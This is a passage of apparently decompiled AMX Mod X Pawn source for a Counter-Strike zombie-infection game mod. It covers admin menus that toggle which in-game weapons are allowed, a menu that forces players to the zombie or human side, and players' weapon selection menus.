case 1:
set_pcvar_num(human_weapon_famas, 0);
}
case 2:
switch(get_pcvar_num(human_weapon_galil)) {
case 0:
get_pcvar_num(human_weapon_galil);
set_pcvar_num(human_weapon_galil, 1);
case 1:
set_pcvar_num(human_weapon_galil, 0);
}
case 3:
switch(get_pcvar_num(human_weapon_ak47)) {
case 0:
get_pcvar_num(human_weapon_ak47);
set_pcvar_num(human_weapon_ak47, 1);
case 1:
set_pcvar_num(human_weapon_ak47, 0);
}
case 4:
switch(get_pcvar_num(human_weapon_m4a1)) {
case 0:
get_pcvar_num(human_weapon_m4a1);
set_pcvar_num(human_weapon_m4a1, 1);
case 1:
set_pcvar_num(human_weapon_m4a1, 0);
}
case 5:
switch(get_pcvar_num(human_weapon_sg552)) {
case 0:
get_pcvar_num(human_weapon_sg552);
set_pcvar_num(human_weapon_sg552, 1);
case 1:
set_pcvar_num(human_weapon_sg552, 0);
}
case 6:
switch(get_pcvar_num(human_weapon_aug)) {
case 0:
get_pcvar_num(human_weapon_aug);
set_pcvar_num(human_weapon_aug, 1);
case 1:
set_pcvar_num(human_weapon_aug, 0);
}
case 8:
admin_menu_weapons(key);
return 1;
case 9:
return 1;
}
admin_menu_weapons_rifles(key);
return 1;
}
public admin_menu_weapons_sniper(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Sniper Rifles]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
switch(get_pcvar_num(human_weapon_snipers)) {
case 0:
get_pcvar_num(human_weapon_snipers);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Sniper Rifles \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Sniper Rifles \\R\\yENABLED");
case 2:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Sniper Rifles \\R\\yCU STOM");
}
switch(get_pcvar_num(human_weapon_scout)) {
case 0:
get_pcvar_num(human_weapon_scout);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Schmidt Scout \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Schmidt Scout \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_awp)) {
case 0:
get_pcvar_num(human_weapon_awp);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Magnum Sniper Rifle \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Magnum Sniper Rifle \\R\\yENABLED");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 775;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_weapon_sniper_cmds(key, key)
{
switch(key) {
case 0:
switch(get_pcvar_num(human_weapon_snipers)) {
case 0:
get_pcvar_num(human_weapon_snipers);
set_pcvar_num(human_weapon_snipers, 1);
case 1:
set_pcvar_num(human_weapon_snipers, 2);
case 2:
set_pcvar_num(human_weapon_snipers, 0);
}
case 1:
switch(get_pcvar_num(human_weapon_scout)) {
case 0:
get_pcvar_num(human_weapon_scout);
set_pcvar_num(human_weapon_scout, 1);
case 1:
set_pcvar_num(human_weapon_scout, 0);
}
case 2:
switch(get_pcvar_num(human_weapon_awp)) {
case 0:
get_pcvar_num(human_weapon_awp);
set_pcvar_num(human_weapon_awp, 1);
case 1:
set_pcvar_num(human_weapon_awp, 0);
}
case 8:
admin_menu_weapons(key);
return 1;
case 9:
return 1;
}
admin_menu_weapons_sniper(key);
return 1;
}
public admin_menu_weapons_asniper(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Auto Sniper Rifles]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
switch(get_pcvar_num(human_weapon_auto_snipers)) {
case 0:
get_pcvar_num(human_weapon_auto_snipers);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Auto. Sniper Rifles \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Auto. Sniper Rifles \\R\\yENABLED");
case 2:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Auto. Sniper Rifles \\R\\yCU STOM");
}
switch(get_pcvar_num(human_weapon_sg550)) {
case 0:
get_pcvar_num(human_weapon_sg550);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Krieg 550 Commando \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Krieg 550 Commando \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_g3sg1)) {
case 0:
get_pcvar_num(human_weapon_g3sg1);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. A3/AU-1 \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. A3/AU-1 \\R\\yENABLED");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 775;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_weapon_asniper_cmds(key, key)
{
switch(key) {
case 0:
switch(get_pcvar_num(human_weapon_auto_snipers)) {
case 0:
get_pcvar_num(human_weapon_auto_snipers);
set_pcvar_num(human_weapon_auto_snipers, 1);
case 1:
set_pcvar_num(human_weapon_auto_snipers, 2);
case 2:
set_pcvar_num(human_weapon_auto_snipers, 0);
}
case 1:
switch(get_pcvar_num(human_weapon_sg550)) {
case 0:
get_pcvar_num(human_weapon_sg550);
set_pcvar_num(human_weapon_sg550, 1);
case 1:
set_pcvar_num(human_weapon_sg550, 0);
}
case 2:
switch(get_pcvar_num(human_weapon_g3sg1)) {
case 0:
get_pcvar_num(human_weapon_g3sg1);
set_pcvar_num(human_weapon_g3sg1, 1);
case 1:
set_pcvar_num(human_weapon_g3sg1, 0);
}
case 8:
admin_menu_weapons(key);
return 1;
case 9:
return 1;
}
admin_menu_weapons_asniper(key);
return 1;
}
public admin_menu_weapons_pistols(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Pistols]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
switch(get_pcvar_num(human_weapon_pistols)) {
case 0:
get_pcvar_num(human_weapon_pistols);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Pistols \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Pistols \\R\\yENABLED");
case 2:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Pistols \\R\\yCU STOM");
}
switch(get_pcvar_num(human_weapon_glock18)) {
case 0:
get_pcvar_num(human_weapon_glock18);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. 9x19MM Sidearm \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. 9x19MM Sidearm \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_usp)) {
case 0:
get_pcvar_num(human_weapon_usp);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. KM .45 Tactical \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. KM .45 Tactical \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_p228)) {
case 0:
get_pcvar_num(human_weapon_p228);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. 228 Compact \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. 228 Compact \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_deagle)) {
case 0:
get_pcvar_num(human_weapon_deagle);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Night Hawk .50C \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Night Hawk .50C \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_fiveseven)) {
case 0:
get_pcvar_num(human_weapon_fiveseven);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Five-Seven \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Five-Seven \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_elite)) {
case 0:
get_pcvar_num(human_weapon_elite);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w7. .40 Dual Elites \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w7. .40 Dual Elites \\R\\yENABLED");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 895;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_weapon_pistols_cmds(key, key)
{
switch(key) {
case 0:
switch(get_pcvar_num(human_weapon_pistols)) {
case 0:
get_pcvar_num(human_weapon_pistols);
set_pcvar_num(human_weapon_pistols, 1);
case 1:
set_pcvar_num(human_weapon_pistols, 2);
case 2:
set_pcvar_num(human_weapon_pistols, 0);
}
case 1:
switch(get_pcvar_num(human_weapon_glock18)) {
case 0:
get_pcvar_num(human_weapon_glock18);
set_pcvar_num(human_weapon_glock18, 1);
case 1:
set_pcvar_num(human_weapon_glock18, 0);
}
case 2:
switch(get_pcvar_num(human_weapon_usp)) {
case 0:
get_pcvar_num(human_weapon_usp);
set_pcvar_num(human_weapon_usp, 1);
case 1:
set_pcvar_num(human_weapon_usp, 0);
}
case 3:
switch(get_pcvar_num(human_weapon_p228)) {
case 0:
get_pcvar_num(human_weapon_p228);
set_pcvar_num(human_weapon_p228, 1);
case 1:
set_pcvar_num(human_weapon_p228, 0);
}
case 4:
switch(get_pcvar_num(human_weapon_deagle)) {
case 0:
get_pcvar_num(human_weapon_deagle);
set_pcvar_num(human_weapon_deagle, 1);
case 1:
set_pcvar_num(human_weapon_deagle, 0);
}
case 5:
switch(get_pcvar_num(human_weapon_fiveseven)) {
case 0:
get_pcvar_num(human_weapon_fiveseven);
set_pcvar_num(human_weapon_fiveseven, 1);
case 1:
set_pcvar_num(human_weapon_fiveseven, 0);
}
case 6:
switch(get_pcvar_num(human_weapon_elite)) {
case 0:
get_pcvar_num(human_weapon_elite);
set_pcvar_num(human_weapon_elite, 1);
case 1:
set_pcvar_num(human_weapon_elite, 0);
}
case 8:
admin_menu_weapons(key);
return 1;
case 9:
return 1;
}
admin_menu_weapons_pistols(key);
return 1;
}
public admin_menu_weapons_gernades(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Gernades]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
switch(get_pcvar_num(human_weapon_nades)) {
case 0:
get_pcvar_num(human_weapon_nades);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Gernades \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Gernades \\R\\yENABLED");
case 2:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Gernades \\R\\yCU STOM");
}
switch(get_pcvar_num(human_weapon_hegrenade)) {
case 0:
get_pcvar_num(human_weapon_hegrenade);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. HE Grenade \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. HE Grenade \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_smokegrenade)) {
case 0:
get_pcvar_num(human_weapon_smokegrenade);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Smoke Grenade \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Smoke Grenade \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_hesmgrenade)) {
case 0:
get_pcvar_num(human_weapon_hesmgrenade);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Both Grenades \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Both Grenades \\R\\yENABLED");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 783;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_weapon_gernades_cmds(key, key)
{
switch(key) {
case 0:
switch(get_pcvar_num(human_weapon_nades)) {
case 0:
get_pcvar_num(human_weapon_nades);
set_pcvar_num(human_weapon_nades, 1);
case 1:
set_pcvar_num(human_weapon_nades, 2);
case 2:
set_pcvar_num(human_weapon_nades, 0);
}
case 1:
switch(get_pcvar_num(human_weapon_hegrenade)) {
case 0:
get_pcvar_num(human_weapon_hegrenade);
set_pcvar_num(human_weapon_hegrenade, 1);
case 1:
set_pcvar_num(human_weapon_hegrenade, 0);
}
case 2:
switch(get_pcvar_num(human_weapon_smokegrenade)) {
case 0:
get_pcvar_num(human_weapon_smokegrenade);
set_pcvar_num(human_weapon_smokegrenade, 1);
case 1:
set_pcvar_num(human_weapon_smokegrenade, 0);
}
case 3:
switch(get_pcvar_num(human_weapon_hesmgrenade)) {
case 0:
get_pcvar_num(human_weapon_hesmgrenade);
set_pcvar_num(human_weapon_hesmgrenade, 1);
case 1:
set_pcvar_num(human_weapon_hesmgrenade, 0);
}
case 8:
admin_menu_weapons(key);
return 1;
case 9:
return 1;
}
admin_menu_weapons_gernades(key);
return 1;
}
public admin_menu_force(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Force Player]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yPlayer \\RCu rren t S ta tu s");
new var1[32], var2 = 0;
get_players(var1, var2, globE904, globE908);
for(new var3 = 0; var3 < 7; var3++)
{
new var4 = ((CurrentMenu[id] * 7) + var3) - 7;
if(var2 + 1 > var4)
{
new var5[64];
get_user_name(var4, var5, 63);
if(!var4)
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d%i. %s \\R[SERVER ]", var3 + 1, var5);
}
if(g_Zombie[var4])
{
if(is_user_alive(var4))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w%i. %s \\R\\r[ZOM B IE ]", var3 + 1, var5);
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d%i. %s \\R[ZOM B IE ]", var3 + 1, var5);
}
}
else if(g_Human[var4])
{
if(is_user_alive(var4))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w%i. %s \\R\\y[HUM AN ]", var3 + 1, var5);
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d%i. %s \\R[HUM AN ]", var3 + 1, var5);
}
}
else if(var4)
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d%i. %s \\R[DEAD ]", var3 + 1, var5);
}
}
}
new var3 = floatround(operator/(_:,Float:)(var2, 7.0), 2);
if(CurrentMenu[id] == var3)
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w9. Back");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w8. Next");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w9. Back");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w0. Exit");
keys = 1023;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_force_cmds(key, key)
{
switch(key) {
case 7:
new var0[32], var1 = 0;
get_players(var0, var1, globE904, globE908);
new var2 = floatround(operator/(_:,Float:)(var1, 7.0), 2);
if(var2 > CurrentMenu[key])
{
CurrentMenu[key]++;
}
case 8:
if(CurrentMenu[key] == 1)
{
zmod_admin_menu(key);
return 1;
}
if(1 < CurrentMenu[key])
{
CurrentMenu[key]--;
}
case 9:
return 1;
default:
new var0[32], var1 = 0;
get_players(var0, var1, globE904, globE908);
new var2 = ((CurrentMenu[key] * 7) + key) - 7;
if(var1 + 1 > var2)
{
if(!g_FirstZombiePicked)
{
client_print(key, 3, "[MD] You must wait until the first zombie has been picked before you can use this");
admin_menu_force(key);
return 1;
}
new var3[33];
get_user_authid(var2, var3, 32);
if(g_Zombie[var2])
{
if(is_user_alive(var2))
{
if(is_user_bot(var2))
{
new var4[64];
get_user_name(var2, var4, 63);
client_cmd(key, "amx_zmod_force \"%s\" human", var4);
}
else
{
client_cmd(key, "amx_zmod_force \"%s\" human", var3);
}
}
}
if(g_Human[var2])
{
if(is_user_alive(var2))
{
if(is_user_bot(var2))
{
new var4[64];
get_user_name(var2, var4, 63);
client_cmd(key, "amx_zmod_force \"%s\" zombie", var4);
}
else
{
client_cmd(key, "amx_zmod_force \"%s\" zombie", var3);
}
}
}
set_task(0.2, "admin_menu_force", key, globD1F0, 0, globD1F4, 0);
return 1;
}
}
admin_menu_force(key);
return 1;
}
public zmod_menu(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Menu:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Zombie Mod Help");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n");
if(!g_Flashlight[id] && get_pcvar_num(human_FlashlightE) && !get_pcvar_num(human_FlashlightT))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Custom Flashlight \\R\\yON");
}
if(g_Flashlight[id] && get_pcvar_num(human_FlashlightE) && !get_pcvar_num(human_FlashlightT))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Custom Flashlight \\R\\rOFF");
}
if(get_pcvar_num(human_FlashlightE) && get_pcvar_num(human_FlashlightT))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w");
}
if(!get_pcvar_num(human_FlashlightE))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Custom Flashlight is \\rDISABLED");
}
if(!get_pcvar_num(human_weapon_menu))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w5. Weapon Menu is \\rDISABLED");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w5. Repick Weapons");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\\w0. Exit");
keys = 537;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 1;
}
public zmod_menu_cmds(key, key)
{
switch(key) {
case 0:
zmod_help(key);
case 3:
if(get_pcvar_num(human_FlashlightE) && !get_pcvar_num(human_FlashlightT))
{
if(0 < g_Flashlight[key])
{
g_Flashlight[key] = 0;
return 1;
}
g_Flashlight[key] = 1;
return 1;
}
zmod_menu(key);
case 4:
if(get_pcvar_num(human_weapon_menu))
{
if(g_Weap_Repick[key])
{
g_Weap_Repick[key] = 0;
client_print(key, 3, "[MD] You will be able to repick your weapons on next round!");
return 1;
}
zmod_menu(key);
client_print(key, 3, "[MD] This does nothing for you if you havn't picked a preference.");
return 1;
}
zmod_menu(key);
case 9:
client_print(key, 3, "[MD] Menu Exited. To open the menu again type \"/zmmenu\"");
}
return 1;
}
public weapon_main(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Weapon Menu:\n");
if(weapon_menu_check(0) || get_pcvar_num(human_weapon_shotguns) == 1)
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Shotguns");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n");
}
if(weapon_menu_check(1) || get_pcvar_num(human_weapon_smgs) == 1)
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. SMG");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n");
}
if(weapon_menu_check(2) || get_pcvar_num(human_weapon_rifles) == 1)
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Rifles");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n");
}
if(weapon_menu_check(3) || get_pcvar_num(human_weapon_snipers) == 1)
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Sniper Rifles");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n");
}
if(weapon_menu_check(4) || get_pcvar_num(human_weapon_auto_snipers) == 1)
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Auto. Sniper Rifles");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n");
}
if(!g_Weap_Repick[id])
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w6. \\yUse Automatic Repick Menu");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yAuto repick currently \\rOFF\n\n\n");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w6. \\yUse Normal Menu");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yAuto repick currently \\rON\n\n\n");
}
keys = 63;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public weapon_main_cmds(id, key)
{
if(!g_Human[id] && !Check_Preference(id))
{
return 1;
}
switch(key) {
case 0:
if(weapon_menu_check(0) || get_pcvar_num(human_weapon_shotguns) == 1)
{
weapon_menu_shotguns(id);
}
else
{
weapon_main(id);
}
case 1:
if(weapon_menu_check(1) || get_pcvar_num(human_weapon_smgs) == 1)
{
weapon_menu_smgs(id);
}
else
{
weapon_main(id);
}
case 2:
if(weapon_menu_check(2) || get_pcvar_num(human_weapon_rifles) == 1)
{
weapon_menu_rifles(id);
}
else
{
weapon_main(id);
}
case 3:
if(weapon_menu_check(3) || get_pcvar_num(human_weapon_snipers) == 1)
{
weapon_menu_snipers(id);
}
else
{
weapon_main(id);
}
case 4:
if(weapon_menu_check(4) || get_pcvar_num(human_weapon_auto_snipers) == 1)
{
weapon_menu_autosnipers(id);
}
else
{
weapon_main(id);
}
case 5:
if(!g_Weap_Repick[id])
{
g_Weap_Repick[id] = 1;
}
else
{
g_Weap_Repick[id] = 0;
}
weapon_main(id);
}
return 1;
}
public weapon_menu_shotguns(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Weapon Menu \\r[Shotguns]\\y:\n");
if(get_pcvar_num(human_weapon_shotguns) == 2)
{
if(!get_pcvar_num(human_weapon_names))
{
if(!get_pcvar_num(human_weapon_m3))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. Pump Shotgun");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Pump Shotgun");
}
if(!get_pcvar_num(human_weapon_xm1014))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. Auto Shotgun");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Auto Shotgun");
}
}
else
{
if(!get_pcvar_num(human_weapon_m3))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. Leone 12 Gauge Super");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Leone 12 Gauge Super");
}
if(!get_pcvar_num(human_weapon_xm1014))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. Leone YG1265 Auto Shotgun");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Leone YG1265 Auto Shotgun");
}
}
}
else if(!get_pcvar_num(human_weapon_names))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Pump Shotgun");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Auto Shotgun");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Leone 12 Gauge Super");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Leone YG1265 Auto Shotgun");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\n\n\n\\w0. Back");
keys = 515;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public weapon_menu_shotguns_cmds(id, key)
{
if(!g_Human[id] && !Check_Preference(id))
{
return 1;
}
switch(key) {
case 0:
if(get_pcvar_num(human_weapon_shotguns) == 2)
{
if(!get_pcvar_num(human_weapon_m3))
{
weapon_menu_shotguns(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 1;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_m3");
cs_set_user_bpammo(id, 21, 32);
case 1:
if(get_pcvar_num(human_weapon_shotguns) == 2)
{
if(!get_pcvar_num(human_weapon_xm1014))
{
weapon_menu_shotguns(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 2;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_xm1014");
cs_set_user_bpammo(id, 5, 32);
case 9:
weapon_main(id);
return 1;
}
weapon_menu_pistols(id);
return 1;
}
public weapon_menu_smgs(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Weapon Menu \\r[SMGs]\\y:\n");
if(get_pcvar_num(human_weapon_smgs) == 2)
{
if(!get_pcvar_num(human_weapon_names))
{
if(!get_pcvar_num(human_weapon_tmp))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. TMP");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. TMP");
}
if(!get_pcvar_num(human_weapon_mac10))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. Mac-10");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Mac-10");
}
if(!get_pcvar_num(human_weapon_mp5navy))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d3. MP5 Navy");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. MP5 Navy");
}
if(!get_pcvar_num(human_weapon_p90))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d4. P90");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. P90");
}
if(!get_pcvar_num(human_weapon_ump45))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d5. UMP45");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. UMP45");
}
}
else
{
if(!get_pcvar_num(human_weapon_tmp))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. Schmidt Machine Pistol");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Schmidt Machine Pistol");
}
if(!get_pcvar_num(human_weapon_mac10))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. Ingram Mac-10");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Ingram Mac-10");
}
if(!get_pcvar_num(human_weapon_mp5navy))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d3. KM Sub-Machine Gun");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. KM Sub-Machine Gun");
}
if(!get_pcvar_num(human_weapon_p90))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d4. ES C90");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. ES C90");
}
if(!get_pcvar_num(human_weapon_ump45))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d5. KM UMP45");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. KM UMP45");
}
}
}
else if(!get_pcvar_num(human_weapon_names))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. TMP");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Mac-10");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. MP5 Navy");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. P90");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. UMP45");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Schmidt Machine Pistol");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Ingram Mac-10");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. KM Sub-Machine Gun");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. ES C90");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. KM UMP45");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\\w0. Back");
keys = 543;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public weapon_menu_smgs_cmds(id, key)
{
if(!g_Human[id] && !Check_Preference(id))
{
return 1;
}
switch(key) {
case 0:
if(get_pcvar_num(human_weapon_smgs) == 2)
{
if(!get_pcvar_num(human_weapon_tmp))
{
weapon_menu_smgs(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 3;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_tmp");
cs_set_user_bpammo(id, 23, 120);
case 1:
if(get_pcvar_num(human_weapon_smgs) == 2)
{
if(!get_pcvar_num(human_weapon_mac10))
{
weapon_menu_smgs(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 4;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_mac10");
cs_set_user_bpammo(id, 7, 100);
case 2:
if(get_pcvar_num(human_weapon_smgs) == 2)
{
if(!get_pcvar_num(human_weapon_mp5navy))
{
weapon_menu_smgs(id);
return 1;
